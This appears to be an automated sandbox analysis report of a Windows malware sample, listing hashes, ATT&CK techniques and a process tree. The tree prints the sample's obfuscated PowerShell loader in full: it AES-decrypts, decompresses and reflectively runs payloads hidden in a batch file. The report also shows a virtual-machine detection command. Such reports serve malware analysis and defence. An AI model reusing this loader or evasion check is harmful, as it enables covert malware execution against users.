80dfa383874c9458bd67b255fde1a6d6181807bda659ce70f989784094dba918

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
23/08/2024, 17:29

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General

Target

file.exe
Size

2.2MB
MD5

f06c54ee336f52fdc772b069a87f11a3
SHA1

aeac1f167a0416708104edc96aa7d451e0b3ddfc
SHA256

80dfa383874c9458bd67b255fde1a6d6181807bda659ce70f989784094dba918
SHA512

8e75dc2787bc84efcc3deb688628d74cbdfefe8c851d97c916b4bfc177adb2436b0b6decfffb9262089d1b0ab7501e95090f1837ffed3d330164bc2532ecf5e8
SSDEEP

49152:cEHtPBsU7o5PiiTcMGCVmbikTDKytL5pNYtCLzILWMhS+/Kpo0zPV:cyDvoPia7VmJKy48Vn+/gdV

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2220	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2220	powershell.exe

Suspicious use of AdjustPrivilegeToken 41 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2896	WMIC.exe
Token: SeSecurityPrivilege	2896	WMIC.exe
Token: SeTakeOwnershipPrivilege	2896	WMIC.exe
Token: SeLoadDriverPrivilege	2896	WMIC.exe
Token: SeSystemProfilePrivilege	2896	WMIC.exe
Token: SeSystemtimePrivilege	2896	WMIC.exe
Token: SeProfSingleProcessPrivilege	2896	WMIC.exe
Token: SeIncBasePriorityPrivilege	2896	WMIC.exe
Token: SeCreatePagefilePrivilege	2896	WMIC.exe
Token: SeBackupPrivilege	2896	WMIC.exe
Token: SeRestorePrivilege	2896	WMIC.exe
Token: SeShutdownPrivilege	2896	WMIC.exe
Token: SeDebugPrivilege	2896	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2896	WMIC.exe
Token: SeRemoteShutdownPrivilege	2896	WMIC.exe
Token: SeUndockPrivilege	2896	WMIC.exe
Token: SeManageVolumePrivilege	2896	WMIC.exe
Token: 33	2896	WMIC.exe
Token: 34	2896	WMIC.exe
Token: 35	2896	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2896	WMIC.exe
Token: SeSecurityPrivilege	2896	WMIC.exe
Token: SeTakeOwnershipPrivilege	2896	WMIC.exe
Token: SeLoadDriverPrivilege	2896	WMIC.exe
Token: SeSystemProfilePrivilege	2896	WMIC.exe
Token: SeSystemtimePrivilege	2896	WMIC.exe
Token: SeProfSingleProcessPrivilege	2896	WMIC.exe
Token: SeIncBasePriorityPrivilege	2896	WMIC.exe
Token: SeCreatePagefilePrivilege	2896	WMIC.exe
Token: SeBackupPrivilege	2896	WMIC.exe
Token: SeRestorePrivilege	2896	WMIC.exe
Token: SeShutdownPrivilege	2896	WMIC.exe
Token: SeDebugPrivilege	2896	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2896	WMIC.exe
Token: SeRemoteShutdownPrivilege	2896	WMIC.exe
Token: SeUndockPrivilege	2896	WMIC.exe
Token: SeManageVolumePrivilege	2896	WMIC.exe
Token: 33	2896	WMIC.exe
Token: 34	2896	WMIC.exe
Token: 35	2896	WMIC.exe
Token: SeDebugPrivilege	2220	powershell.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1744 wrote to memory of 328	1744	file.exe	31
PID 1744 wrote to memory of 328	1744	file.exe	31
PID 1744 wrote to memory of 328	1744	file.exe	31
PID 1744 wrote to memory of 328	1744	file.exe	31
PID 328 wrote to memory of 2896	328	cmd.exe	33
PID 328 wrote to memory of 2896	328	cmd.exe	33
PID 328 wrote to memory of 2896	328	cmd.exe	33
PID 328 wrote to memory of 2896	328	cmd.exe	33
PID 328 wrote to memory of 1484	328	cmd.exe	34
PID 328 wrote to memory of 1484	328	cmd.exe	34
PID 328 wrote to memory of 1484	328	cmd.exe	34
PID 328 wrote to memory of 1484	328	cmd.exe	34
PID 328 wrote to memory of 2712	328	cmd.exe	36
PID 328 wrote to memory of 2712	328	cmd.exe	36
PID 328 wrote to memory of 2712	328	cmd.exe	36
PID 328 wrote to memory of 2712	328	cmd.exe	36
PID 328 wrote to memory of 2220	328	cmd.exe	37
PID 328 wrote to memory of 2220	328	cmd.exe	37
PID 328 wrote to memory of 2220	328	cmd.exe	37
PID 328 wrote to memory of 2220	328	cmd.exe	37

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1744
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\7z6D3FD6D0\onitest.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:328
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic diskdrive get Manufacturer,Model
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2896
- - C:\Windows\SysWOW64\findstr.exe
    findstr /i /c:"BOCHS_" /c:"BXPC___" /c:"QEMU" /c:"Standard PC (Q35 + ICH9, 2009)" /c:"innotek GmbH" /c:"VirtualBox" /c:"Compute Engine" /c:"Supermicro"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1484
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function VxWFO($fEFcX){ $wYcHJ=[System.Security.Cryptography.Aes]::Create(); $wYcHJ.Mode=[System.Security.Cryptography.CipherMode]::CBC; $wYcHJ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $wYcHJ.Key=[System.Convert]::FromBase64String('mbloPEknf1TwaS6SK0+bcsM1DbtN30rzhG1qypXEfHs='); $wYcHJ.IV=[System.Convert]::FromBase64String('me2XyZir0Pd2lyw9aW1tVQ=='); $DRUeH=$wYcHJ.CreateDecryptor(); $aPWFg=$DRUeH.TransformFinalBlock($fEFcX, 0, $fEFcX.Length); $DRUeH.Dispose(); $wYcHJ.Dispose(); $aPWFg;}function NMDkA($fEFcX){ IEX '$jtKnX=New-Object System.IO.M*em*or*yS*tr*ea*m(,$fEFcX);'.Replace('*', ''); IEX '$qIDMr=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$WzKKY=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($jtKnX, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $WzKKY.CopyTo($qIDMr); $WzKKY.Dispose(); $jtKnX.Dispose(); $qIDMr.Dispose(); $qIDMr.ToArray();}function sFVdN($fEFcX,$riShO){ IEX '$hexoC=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$fEFcX);'.Replace('*', ''); IEX '$kwGhc=$hexoC.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$kwGhc.*I*n*v*o*k*e*($null, $riShO);'.Replace('*', '');}$zbcdR = 'C:\Users\Admin\AppData\Local\Temp\7z6D3FD6D0\onitest.bat';$host.UI.RawUI.WindowTitle = $zbcdR;$uAjCx=[System.IO.File]::ReadAllText($zbcdR).Split([Environment]::NewLine);foreach ($xhrJZ in $uAjCx) { if ($xhrJZ.StartsWith(':: ')) { $wfcOv=$xhrJZ.Substring(3); break; }}$ZVkiY=[string[]]$wfcOv.Split('\');IEX '$OCqxy=NMDkA (VxWFO ([*C*o*n*v*e*rt]::*F*r*o*m*B*a*se6*4*S*t*ri*n*g*($ZVkiY[0])));'.Replace('*', '');IEX '$YxHLS=NMDkA (VxWFO ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($ZVkiY[1])));'.Replace('*', '');sFVdN $OCqxy $null;sFVdN $YxHLS (,[string[]] ('')); "
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2712
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2220

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\7z6D3FD6D0\onitest.bat

Filesize
3.5MB

MD5
d01d6cdfbc82758617945d545d134145

SHA1
e64bd9b5e7fd0ccc63a0c3a78c5a2dcab6e54903

SHA256
f8d2db6c5112ec887156b6184a6cc4a93ac88f3896422fec03034bd9a5575d9a

SHA512
fe2d0ac4c341ddff3dc4ce22cd4eab83e06c87612a462ee11d7c83b666a2b68182e6c78b0d18b8b3fce4e7e5848a929b6fe4fa8ab4c2354b531008a7c6edf717

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